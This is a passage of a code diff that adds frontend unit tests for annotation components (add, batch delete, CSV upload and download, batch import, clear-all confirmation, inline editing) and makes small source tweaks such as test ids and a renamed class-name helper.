+  test('should show toast when validation fails for missing answer', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+    typeQuestion('Filled question')
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.add' }))
+
+    expect(mockToastNotify).toHaveBeenCalledWith(expect.objectContaining({
+      type: 'error',
+      message: 'appAnnotation.errorMessage.answerRequired',
+    }))
+  })
+
+  test('should close modal when save completes and create next unchecked', async () => {
+    const onAdd = jest.fn().mockResolvedValue(undefined)
+    render(<AddAnnotationModal {...baseProps} onAdd={onAdd} />)
+
+    typeQuestion('Q')
+    typeAnswer('A')
+
+    await act(async () => {
+      fireEvent.click(screen.getByRole('button', { name: 'common.operation.add' }))
+    })
+
+    expect(baseProps.onHide).toHaveBeenCalled()
+  })
+
+  test('should allow cancel button to close the drawer', () => {
+    render(<AddAnnotationModal {...baseProps} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+    expect(baseProps.onHide).toHaveBeenCalled()
+  })
+})
diff --git a/web/app/components/app/annotation/add-annotation-modal/index.tsx b/web/app/components/app/annotation/add-annotation-modal/index.tsx
index 274a57adf1..0ae4439531 100644
--- a/web/app/components/app/annotation/add-annotation-modal/index.tsx
+++ b/web/app/components/app/annotation/add-annotation-modal/index.tsx
@@ -101,7 +101,7 @@ const AddAnnotationModal: FC<Props> = ({
                 <div
                   className='flex items-center space-x-2'
                 >
-                  <Checkbox checked={isCreateNext} onCheck={() => setIsCreateNext(!isCreateNext)} />
+                  <Checkbox id='create-next-checkbox' checked={isCreateNext} onCheck={() => setIsCreateNext(!isCreateNext)} />
                   <div>{t('appAnnotation.addModal.createNext')}</div>
                 </div>
                 <div className='mt-2 flex space-x-2'>
diff --git a/web/app/components/app/annotation/batch-action.spec.tsx b/web/app/components/app/annotation/batch-action.spec.tsx
new file mode 100644
index 0000000000..36440fc044
--- /dev/null
+++ b/web/app/components/app/annotation/batch-action.spec.tsx
@@ -0,0 +1,42 @@
+import React from 'react'
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import BatchAction from './batch-action'
+
+describe('BatchAction', () => {
+  const baseProps = {
+    selectedIds: ['1', '2', '3'],
+    onBatchDelete: jest.fn(),
+    onCancel: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should show the selected count and trigger cancel action', () => {
+    render(<BatchAction {...baseProps} className='custom-class' />)
+
+    expect(screen.getByText('3')).toBeInTheDocument()
+    expect(screen.getByText('appAnnotation.batchAction.selected')).toBeInTheDocument()
+
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+    expect(baseProps.onCancel).toHaveBeenCalledTimes(1)
+  })
+
+  it('should confirm before running batch delete', async () => {
+    const onBatchDelete = jest.fn().mockResolvedValue(undefined)
+    render(<BatchAction {...baseProps} onBatchDelete={onBatchDelete} />)
+
+    fireEvent.click(screen.getByRole('button', { name: 'common.operation.delete' }))
+    await screen.findByText('appAnnotation.list.delete.title')
+
+    await act(async () => {
+      fireEvent.click(screen.getAllByRole('button', { name: 'common.operation.delete' })[1])
+    })
+
+    await waitFor(() => {
+      expect(onBatchDelete).toHaveBeenCalledTimes(1)
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/batch-action.tsx b/web/app/components/app/annotation/batch-action.tsx
index 6e80d0c4c8..6ff392d17e 100644
--- a/web/app/components/app/annotation/batch-action.tsx
+++ b/web/app/components/app/annotation/batch-action.tsx
@@ -3,7 +3,7 @@ import { RiDeleteBinLine } from '@remixicon/react'
 import { useTranslation } from 'react-i18next'
 import { useBoolean } from 'ahooks'
 import Divider from '@/app/components/base/divider'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import Confirm from '@/app/components/base/confirm'
 
 const i18nPrefix = 'appAnnotation.batchAction'
@@ -38,7 +38,7 @@ const BatchAction: FC<IBatchActionProps> = ({
     setIsNotDeleting()
   }
   return (
-    <div className={classNames('pointer-events-none flex w-full justify-center', className)}>
+    <div className={cn('pointer-events-none flex w-full justify-center', className)}>
       <div className='pointer-events-auto flex items-center gap-x-1 rounded-[10px] border border-components-actionbar-border-accent bg-components-actionbar-bg-accent p-1 shadow-xl shadow-shadow-shadow-5 backdrop-blur-[5px]'>
         <div className='inline-flex items-center gap-x-2 py-1 pl-2 pr-3'>
           <span className='flex h-5 w-5 items-center justify-center rounded-md bg-text-accent px-1 py-0.5 text-xs font-medium text-text-primary-on-surface'>
diff --git a/web/app/components/app/annotation/batch-add-annotation-modal/csv-downloader.spec.tsx b/web/app/components/app/annotation/batch-add-annotation-modal/csv-downloader.spec.tsx
new file mode 100644
index 0000000000..7d360cfc1b
--- /dev/null
+++ b/web/app/components/app/annotation/batch-add-annotation-modal/csv-downloader.spec.tsx
@@ -0,0 +1,72 @@
+import React from 'react'
+import { render, screen } from '@testing-library/react'
+import CSVDownload from './csv-downloader'
+import I18nContext from '@/context/i18n'
+import { LanguagesSupported } from '@/i18n-config/language'
+import type { Locale } from '@/i18n-config'
+
+const downloaderProps: any[] = []
+
+jest.mock('react-papaparse', () => ({
+  useCSVDownloader: jest.fn(() => ({
+    CSVDownloader: ({ children, ...props }: any) => {
+      downloaderProps.push(props)
+      return <div data-testid="mock-csv-downloader">{children}</div>
+    },
+    Type: { Link: 'link' },
+  })),
+}))
+
+const renderWithLocale = (locale: Locale) => {
+  return render(
+    <I18nContext.Provider value={{
+      locale,
+      i18n: {},
+      setLocaleOnClient: jest.fn().mockResolvedValue(undefined),
+    }}
+    >
+      <CSVDownload />
+    </I18nContext.Provider>,
+  )
+}
+
+describe('CSVDownload', () => {
+  const englishTemplate = [
+    ['question', 'answer'],
+    ['question1', 'answer1'],
+    ['question2', 'answer2'],
+  ]
+  const chineseTemplate = [
+    ['问题', '答案'],
+    ['问题 1', '答案 1'],
+    ['问题 2', '答案 2'],
+  ]
+
+  beforeEach(() => {
+    downloaderProps.length = 0
+  })
+
+  it('should render the structure preview and pass English template data by default', () => {
+    renderWithLocale('en-US' as Locale)
+
+    expect(screen.getByText('share.generation.csvStructureTitle')).toBeInTheDocument()
+    expect(screen.getByText('appAnnotation.batchModal.template')).toBeInTheDocument()
+
+    expect(downloaderProps[0]).toMatchObject({
+      filename: 'template-en-US',
+      type: 'link',
+      bom: true,
+      data: englishTemplate,
+    })
+  })
+
+  it('should switch to the Chinese template when locale matches the secondary language', () => {
+    const locale = LanguagesSupported[1] as Locale
+    renderWithLocale(locale)
+
+    expect(downloaderProps[0]).toMatchObject({
+      filename: `template-${locale}`,
+      data: chineseTemplate,
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx
new file mode 100644
index 0000000000..d94295c31c
--- /dev/null
+++ b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.spec.tsx
@@ -0,0 +1,115 @@
+import React from 'react'
+import { fireEvent, render, screen, waitFor } from '@testing-library/react'
+import CSVUploader, { type Props } from './csv-uploader'
+import { ToastContext } from '@/app/components/base/toast'
+
+describe('CSVUploader', () => {
+  const notify = jest.fn()
+  const updateFile = jest.fn()
+
+  const getDropElements = () => {
+    const title = screen.getByText('appAnnotation.batchModal.csvUploadTitle')
+    const dropZone = title.parentElement?.parentElement as HTMLDivElement | null
+    if (!dropZone || !dropZone.parentElement)
+      throw new Error('Drop zone not found')
+    const dropContainer = dropZone.parentElement as HTMLDivElement
+    return { dropZone, dropContainer }
+  }
+
+  const renderComponent = (props?: Partial<Props>) => {
+    const mergedProps: Props = {
+      file: undefined,
+      updateFile,
+      ...props,
+    }
+    return render(
+      <ToastContext.Provider value={{ notify, close: jest.fn() }}>
+        <CSVUploader {...mergedProps} />
+      </ToastContext.Provider>,
+    )
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  it('should open the file picker when clicking browse', () => {
+    const clickSpy = jest.spyOn(HTMLInputElement.prototype, 'click')
+    renderComponent()
+
+    fireEvent.click(screen.getByText('appAnnotation.batchModal.browse'))
+
+    expect(clickSpy).toHaveBeenCalledTimes(1)
+    clickSpy.mockRestore()
+  })
+
+  it('should toggle dragging styles and upload the dropped file', async () => {
+    const file = new File(['content'], 'input.csv', { type: 'text/csv' })
+    renderComponent()
+    const { dropZone, dropContainer } = getDropElements()
+
+    fireEvent.dragEnter(dropContainer)
+    expect(dropZone.className).toContain('border-components-dropzone-border-accent')
+    expect(dropZone.className).toContain('bg-components-dropzone-bg-accent')
+
+    fireEvent.drop(dropContainer, { dataTransfer: { files: [file] } })
+
+    await waitFor(() => expect(updateFile).toHaveBeenCalledWith(file))
+    expect(dropZone.className).not.toContain('border-components-dropzone-border-accent')
+  })
+
+  it('should ignore drop events without dataTransfer', () => {
+    renderComponent()
+    const { dropContainer } = getDropElements()
+
+    fireEvent.drop(dropContainer)
+
+    expect(updateFile).not.toHaveBeenCalled()
+  })
+
+  it('should show an error when multiple files are dropped', async () => {
+    const fileA = new File(['a'], 'a.csv', { type: 'text/csv' })
+    const fileB = new File(['b'], 'b.csv', { type: 'text/csv' })
+    renderComponent()
+    const { dropContainer } = getDropElements()
+
+    fireEvent.drop(dropContainer, { dataTransfer: { files: [fileA, fileB] } })
+
+    await waitFor(() => expect(notify).toHaveBeenCalledWith({
+      type: 'error',
+      message: 'datasetCreation.stepOne.uploader.validation.count',
+    }))
+    expect(updateFile).not.toHaveBeenCalled()
+  })
+
+  it('should propagate file selection changes through input change event', () => {
+    const file = new File(['row'], 'selected.csv', { type: 'text/csv' })
+    const { container } = renderComponent()
+    const fileInput = container.querySelector('input[type="file"]') as HTMLInputElement
+
+    fireEvent.change(fileInput, { target: { files: [file] } })
+
+    expect(updateFile).toHaveBeenCalledWith(file)
+  })
+
+  it('should render selected file details and allow change/removal', () => {
+    const file = new File(['data'], 'report.csv', { type: 'text/csv' })
+    const { container } = renderComponent({ file })
+    const fileInput = container.querySelector('input[type="file"]') as HTMLInputElement
+
+    expect(screen.getByText('report')).toBeInTheDocument()
+    expect(screen.getByText('.csv')).toBeInTheDocument()
+
+    const clickSpy = jest.spyOn(HTMLInputElement.prototype, 'click')
+    fireEvent.click(screen.getByText('datasetCreation.stepOne.uploader.change'))
+    expect(clickSpy).toHaveBeenCalled()
+    clickSpy.mockRestore()
+
+    const valueSetter = jest.spyOn(fileInput, 'value', 'set')
+    const removeTrigger = screen.getByTestId('remove-file-button')
+    fireEvent.click(removeTrigger)
+
+    expect(updateFile).toHaveBeenCalledWith()
+    expect(valueSetter).toHaveBeenCalledWith('')
+  })
+})
diff --git a/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.tsx b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.tsx
index b98eb815f9..c9766135df 100644
--- a/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.tsx
+++ b/web/app/components/app/annotation/batch-add-annotation-modal/csv-uploader.tsx
@@ -4,7 +4,7 @@ import React, { useEffect, useRef, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useContext } from 'use-context-selector'
 import { RiDeleteBinLine } from '@remixicon/react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { Csv as CSVIcon } from '@/app/components/base/icons/src/public/files'
 import { ToastContext } from '@/app/components/base/toast'
 import Button from '@/app/components/base/button'
@@ -114,7 +114,7 @@ const CSVUploader: FC<Props> = ({
             <div className='hidden items-center group-hover:flex'>
               <Button variant='secondary' onClick={selectHandle}>{t('datasetCreation.stepOne.uploader.change')}</Button>
               <div className='mx-2 h-4 w-px bg-divider-regular' />
-              <div className='cursor-pointer p-2' onClick={removeFile}>
+              <div className='cursor-pointer p-2' onClick={removeFile} data-testid="remove-file-button">
                 <RiDeleteBinLine className='h-4 w-4 text-text-tertiary' />
               </div>
             </div>
diff --git a/web/app/components/app/annotation/batch-add-annotation-modal/index.spec.tsx b/web/app/components/app/annotation/batch-add-annotation-modal/index.spec.tsx
new file mode 100644
index 0000000000..5527340895
--- /dev/null
+++ b/web/app/components/app/annotation/batch-add-annotation-modal/index.spec.tsx
@@ -0,0 +1,164 @@
+import React from 'react'
+import { act, fireEvent, render, screen, waitFor } from '@testing-library/react'
+import BatchModal, { ProcessStatus } from './index'
+import { useProviderContext } from '@/context/provider-context'
+import { annotationBatchImport, checkAnnotationBatchImportProgress } from '@/service/annotation'
+import type { IBatchModalProps } from './index'
+import Toast from '@/app/components/base/toast'
+
+jest.mock('@/app/components/base/toast', () => ({
+  __esModule: true,
+  default: {
+    notify: jest.fn(),
+  },
+}))
+
+jest.mock('@/service/annotation', () => ({
+  annotationBatchImport: jest.fn(),
+  checkAnnotationBatchImportProgress: jest.fn(),
+}))
+
+jest.mock('@/context/provider-context', () => ({
+  useProviderContext: jest.fn(),
+}))
+
+jest.mock('./csv-downloader', () => ({
+  __esModule: true,
+  default: () => <div data-testid="csv-downloader-stub" />,
+}))
+
+let lastUploadedFile: File | undefined
+
+jest.mock('./csv-uploader', () => ({
+  __esModule: true,
+  default: ({ file, updateFile }: { file?: File; updateFile: (file?: File) => void }) => (
+    <div>
+      <button
+        data-testid="mock-uploader"
+        onClick={() => {
+          lastUploadedFile = new File(['question,answer'], 'batch.csv', { type: 'text/csv' })
+          updateFile(lastUploadedFile)
+        }}
+      >
+        upload
+      </button>
+      {file && <span data-testid="selected-file">{file.name}</span>}
+    </div>
+  ),
+}))
+
+jest.mock('@/app/components/billing/annotation-full', () => ({
+  __esModule: true,
+  default: () => <div data-testid="annotation-full" />,
+}))
+
+const mockNotify = Toast.notify as jest.Mock
+const useProviderContextMock = useProviderContext as jest.Mock
+const annotationBatchImportMock = annotationBatchImport as jest.Mock
+const checkAnnotationBatchImportProgressMock = checkAnnotationBatchImportProgress as jest.Mock
+
+const renderComponent = (props: Partial<IBatchModalProps> = {}) => {
+  const mergedProps: IBatchModalProps = {
+    appId: 'app-id',
+    isShow: true,
+    onCancel: jest.fn(),
+    onAdded: jest.fn(),
+    ...props,
+  }
+  return {
+    ...render(<BatchModal {...mergedProps} />),
+    props: mergedProps,
+  }
+}
+
+describe('BatchModal', () => {
+  beforeEach(() => {
+    jest.clearAllMocks()
+    lastUploadedFile = undefined
+    useProviderContextMock.mockReturnValue({
+      plan: {
+        usage: { annotatedResponse: 0 },
+        total: { annotatedResponse: 10 },
+      },
+      enableBilling: false,
+    })
+  })
+
+  it('should disable run action and show billing hint when annotation quota is full', () => {
+    useProviderContextMock.mockReturnValue({
+      plan: {
+        usage: { annotatedResponse: 10 },
+        total: { annotatedResponse: 10 },
+      },
+      enableBilling: true,
+    })
+
+    renderComponent()
+
+    expect(screen.getByTestId('annotation-full')).toBeInTheDocument()
+    expect(screen.getByRole('button', { name: 'appAnnotation.batchModal.run' })).toBeDisabled()
+  })
+
+  it('should reset uploader state when modal closes and allow manual cancellation', () => {
+    const { rerender, props } = renderComponent()
+
+    fireEvent.click(screen.getByTestId('mock-uploader'))
+    expect(screen.getByTestId('selected-file')).toHaveTextContent('batch.csv')
+
+    rerender(<BatchModal {...props} isShow={false} />)
+    rerender(<BatchModal {...props} isShow />)
+
+    expect(screen.queryByTestId('selected-file')).toBeNull()
+
+    fireEvent.click(screen.getByRole('button', { name: 'appAnnotation.batchModal.cancel' }))
+    expect(props.onCancel).toHaveBeenCalledTimes(1)
+  })
+
+  it('should submit the csv file, poll status, and notify when import completes', async () => {
+    jest.useFakeTimers()
+    const { props } = renderComponent()
+    const fileTrigger = screen.getByTestId('mock-uploader')
+    fireEvent.click(fileTrigger)
+
+    const runButton = screen.getByRole('button', { name: 'appAnnotation.batchModal.run' })
+    expect(runButton).not.toBeDisabled()
+
+    annotationBatchImportMock.mockResolvedValue({ job_id: 'job-1', job_status: ProcessStatus.PROCESSING })
+    checkAnnotationBatchImportProgressMock
+      .mockResolvedValueOnce({ job_id: 'job-1', job_status: ProcessStatus.PROCESSING })
+      .mockResolvedValueOnce({ job_id: 'job-1', job_status: ProcessStatus.COMPLETED })
+
+    await act(async () => {
+      fireEvent.click(runButton)
+    })
+
+    await waitFor(() => {
+      expect(annotationBatchImportMock).toHaveBeenCalledTimes(1)
+    })
+
+    const formData = annotationBatchImportMock.mock.calls[0][0].body as FormData
+    expect(formData.get('file')).toBe(lastUploadedFile)
+
+    await waitFor(() => {
+      expect(checkAnnotationBatchImportProgressMock).toHaveBeenCalledTimes(1)
+    })
+
+    await act(async () => {
+      jest.runOnlyPendingTimers()
+    })
+
+    await waitFor(() => {
+      expect(checkAnnotationBatchImportProgressMock).toHaveBeenCalledTimes(2)
+    })
+
+    await waitFor(() => {
+      expect(mockNotify).toHaveBeenCalledWith({
+        type: 'success',
+        message: 'appAnnotation.batchModal.completed',
+      })
+      expect(props.onAdded).toHaveBeenCalledTimes(1)
+      expect(props.onCancel).toHaveBeenCalledTimes(1)
+    })
+    jest.useRealTimers()
+  })
+})
diff --git a/web/app/components/app/annotation/clear-all-annotations-confirm-modal/index.spec.tsx b/web/app/components/app/annotation/clear-all-annotations-confirm-modal/index.spec.tsx
new file mode 100644
index 0000000000..fd6d900aa4
--- /dev/null
+++ b/web/app/components/app/annotation/clear-all-annotations-confirm-modal/index.spec.tsx
@@ -0,0 +1,98 @@
+import React from 'react'
+import { fireEvent, render, screen } from '@testing-library/react'
+import ClearAllAnnotationsConfirmModal from './index'
+
+jest.mock('react-i18next', () => ({
+  useTranslation: () => ({
+    t: (key: string) => {
+      const translations: Record<string, string> = {
+        'appAnnotation.table.header.clearAllConfirm': 'Clear all annotations?',
+        'common.operation.confirm': 'Confirm',
+        'common.operation.cancel': 'Cancel',
+      }
+      return translations[key] || key
+    },
+  }),
+}))
+
+beforeEach(() => {
+  jest.clearAllMocks()
+})
+
+describe('ClearAllAnnotationsConfirmModal', () => {
+  // Rendering visibility toggled by isShow flag
+  describe('Rendering', () => {
+    test('should show confirmation dialog when isShow is true', () => {
+      // Arrange
+      render(
+        <ClearAllAnnotationsConfirmModal
+          isShow
+          onHide={jest.fn()}
+          onConfirm={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.getByText('Clear all annotations?')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Cancel' })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'Confirm' })).toBeInTheDocument()
+    })
+
+    test('should not render anything when isShow is false', () => {
+      // Arrange
+      render(
+        <ClearAllAnnotationsConfirmModal
+          isShow={false}
+          onHide={jest.fn()}
+          onConfirm={jest.fn()}
+        />,
+      )
+
+      // Assert
+      expect(screen.queryByText('Clear all annotations?')).not.toBeInTheDocument()
+    })
+  })
+
+  // User confirms or cancels clearing annotations
+  describe('Interactions', () => {
+    test('should trigger onHide when cancel is clicked', () => {
+      const onHide = jest.fn()
+      const onConfirm = jest.fn()
+      // Arrange
+      render(
+        <ClearAllAnnotationsConfirmModal
+          isShow
+          onHide={onHide}
+          onConfirm={onConfirm}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: 'Cancel' }))
+
+      // Assert
+      expect(onHide).toHaveBeenCalledTimes(1)
+      expect(onConfirm).not.toHaveBeenCalled()
+    })
+
+    test('should trigger onConfirm when confirm is clicked', () => {
+      const onHide = jest.fn()
+      const onConfirm = jest.fn()
+      // Arrange
+      render(
+        <ClearAllAnnotationsConfirmModal
+          isShow
+          onHide={onHide}
+          onConfirm={onConfirm}
+        />,
+      )
+
+      // Act
+      fireEvent.click(screen.getByRole('button', { name: 'Confirm' }))
+
+      // Assert
+      expect(onConfirm).toHaveBeenCalledTimes(1)
+      expect(onHide).not.toHaveBeenCalled()
+    })
+  })
+})
diff --git a/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx
new file mode 100644
index 0000000000..95a5586292
--- /dev/null
+++ b/web/app/components/app/annotation/edit-annotation-modal/edit-item/index.spec.tsx
@@ -0,0 +1,466 @@
+import { render, screen } from '@testing-library/react'
+import userEvent from '@testing-library/user-event'
+import EditItem, { EditItemType, EditTitle } from './index'
+
+describe('EditTitle', () => {
+  it('should render title content correctly', () => {
+    // Arrange
+    const props = { title: 'Test Title' }
+
+    // Act
+    render(<EditTitle {...props} />)
+
+    // Assert
+    expect(screen.getByText(/test title/i)).toBeInTheDocument()
+    // Should contain edit icon (svg element)
+    expect(document.querySelector('svg')).toBeInTheDocument()
+  })
+
+  it('should apply custom className when provided', () => {
+    // Arrange
+    const props = {
+      title: 'Test Title',
+      className: 'custom-class',
+    }
+
+    // Act
+    const { container } = render(<EditTitle {...props} />)
+
+    // Assert
+    expect(screen.getByText(/test title/i)).toBeInTheDocument()
+    expect(container.querySelector('.custom-class')).toBeInTheDocument()
+  })
+})
+
+describe('EditItem', () => {
+  const defaultProps = {
+    type: EditItemType.Query,
+    content: 'Test content',
+    onSave: jest.fn(),
+  }
+
+  beforeEach(() => {
+    jest.clearAllMocks()
+  })
+
+  // Rendering tests (REQUIRED)
+  describe('Rendering', () => {
+    it('should render content correctly', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+      // Should show item name (query or answer)
+      expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument()
+    })
+
+    it('should render different item types correctly', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        type: EditItemType.Answer,
+        content: 'Answer content',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/answer content/i)).toBeInTheDocument()
+      expect(screen.getByText('appAnnotation.editModal.answerName')).toBeInTheDocument()
+    })
+
+    it('should show edit controls when not readonly', () => {
+      // Arrange
+      const props = { ...defaultProps }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+    })
+
+    it('should hide edit controls when readonly', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        readonly: true,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument()
+    })
+  })
+
+  // Props tests (REQUIRED)
+  describe('Props', () => {
+    it('should respect readonly prop for edit functionality', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        readonly: true,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+      expect(screen.queryByText('common.operation.edit')).not.toBeInTheDocument()
+    })
+
+    it('should display provided content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        content: 'Custom content for testing',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/custom content for testing/i)).toBeInTheDocument()
+    })
+
+    it('should render appropriate content based on type', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        type: EditItemType.Query,
+        content: 'Question content',
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(/question content/i)).toBeInTheDocument()
+      expect(screen.getByText('appAnnotation.editModal.queryName')).toBeInTheDocument()
+    })
+  })
+
+  // User Interactions
+  describe('User Interactions', () => {
+    it('should activate edit mode when edit button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Assert
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.save' })).toBeInTheDocument()
+      expect(screen.getByRole('button', { name: 'common.operation.cancel' })).toBeInTheDocument()
+    })
+
+    it('should save new content when save button is clicked', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Type new content
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Updated content')
+
+      // Save
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenCalledWith('Updated content')
+    })
+
+    it('should exit edit mode when cancel button is clicked', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByRole('button', { name: 'common.operation.cancel' }))
+
+      // Assert
+      expect(screen.queryByRole('textbox')).not.toBeInTheDocument()
+      expect(screen.getByText(/test content/i)).toBeInTheDocument()
+    })
+
+    it('should show content preview while typing', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+      await user.type(textarea, 'New content')
+
+      // Assert
+      expect(screen.getByText(/new content/i)).toBeInTheDocument()
+    })
+
+    it('should call onSave with correct content when saving', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Test save content')
+
+      // Save
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenCalledWith('Test save content')
+    })
+
+    it('should show delete option and restore original content when delete is clicked', async () => {
+      // Arrange
+      const mockSave = jest.fn().mockResolvedValue(undefined)
+      const props = {
+        ...defaultProps,
+        onSave: mockSave,
+      }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Enter edit mode and change content
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'Modified content')
+
+      // Save to trigger content change
+      await user.click(screen.getByRole('button', { name: 'common.operation.save' }))
+
+      // Assert
+      expect(mockSave).toHaveBeenNthCalledWith(1, 'Modified content')
+      expect(await screen.findByText('common.operation.delete')).toBeInTheDocument()
+
+      await user.click(screen.getByText('common.operation.delete'))
+
+      expect(mockSave).toHaveBeenNthCalledWith(2, 'Test content')
+      expect(screen.queryByText('common.operation.delete')).not.toBeInTheDocument()
+    })
+
+    it('should handle keyboard interactions in edit mode', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+      await user.click(screen.getByText('common.operation.edit'))
+
+      const textarea = screen.getByRole('textbox')
+
+      // Test typing
+      await user.type(textarea, 'Keyboard test')
+
+      // Assert
+      expect(textarea).toHaveValue('Keyboard test')
+      expect(screen.getByText(/keyboard test/i)).toBeInTheDocument()
+    })
+  })
+
+  // State Management
+  describe('State Management', () => {
+    it('should reset newContent when content prop changes', async () => {
+      // Arrange
+      const { rerender } = render(<EditItem {...defaultProps} />)
+
+      // Act - Enter edit mode and type something
+      const user = userEvent.setup()
+      await user.click(screen.getByText('common.operation.edit'))
+      const textarea = screen.getByRole('textbox')
+      await user.clear(textarea)
+      await user.type(textarea, 'New content')
+
+      // Rerender with new content prop
+      rerender(<EditItem {...defaultProps} content="Updated content" />)
+
+      // Assert - Textarea value should be reset due to useEffect
+      expect(textarea).toHaveValue('')
+    })
+
+    it('should preserve edit state across content changes', async () => {
+      // Arrange
+      const { rerender } = render(<EditItem {...defaultProps} />)
+      const user = userEvent.setup()
+
+      // Act - Enter edit mode
+      await user.click(screen.getByText('common.operation.edit'))
+
+      // Rerender with new content
+      rerender(<EditItem {...defaultProps} content="Updated content" />)
+
+      // Assert - Should still be in edit mode
+      expect(screen.getByRole('textbox')).toBeInTheDocument()
+    })
+  })
+
+  // Edge Cases (REQUIRED)
+  describe('Edge Cases', () => {
+    it('should handle empty content', () => {
+      // Arrange
+      const props = {
+        ...defaultProps,
+        content: '',
+      }
+
+      // Act
+      const { container } = render(<EditItem {...props} />)
+
+      // Assert - Should render without crashing
+      // Check that the component renders properly with empty content
+      expect(container.querySelector('.grow')).toBeInTheDocument()
+      // Should still show edit button
+      expect(screen.getByText('common.operation.edit')).toBeInTheDocument()
+    })
+
+    it('should handle very long content', () => {
+      // Arrange
+      const longContent = 'A'.repeat(1000)
+      const props = {
+        ...defaultProps,
+        content: longContent,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(longContent)).toBeInTheDocument()
+    })
+
+    it('should handle content with special characters', () => {
+      // Arrange
+      const specialContent = 'Content with & < > " \' characters'
+      const props = {
+        ...defaultProps,
+        content: specialContent,
+      }
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Assert
+      expect(screen.getByText(specialContent)).toBeInTheDocument()
+    })
+
+    it('should handle rapid edit/cancel operations', async () => {
+      // Arrange
+      const props = { ...defaultProps }
+      const user = userEvent.setup()
+
+      // Act
+      render(<EditItem {...props} />)
+
+      // Rapid edit/cancel operations
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByText('common.operation.cancel'))
+      await user.click(screen.getByText('common.operation.edit'))
+      await user.click(screen.getByText('common.operation.cancel'))
+
+      // Assert
+      expect(screen.queryByRole('textbox')).not.toBeInTheDocument()
+      expect(screen.getByText('Test content')).toBeInTheDocument()
+    })
+
+    it('should handle save failure gracefully in edit mode', async () => {
+      // Arrange
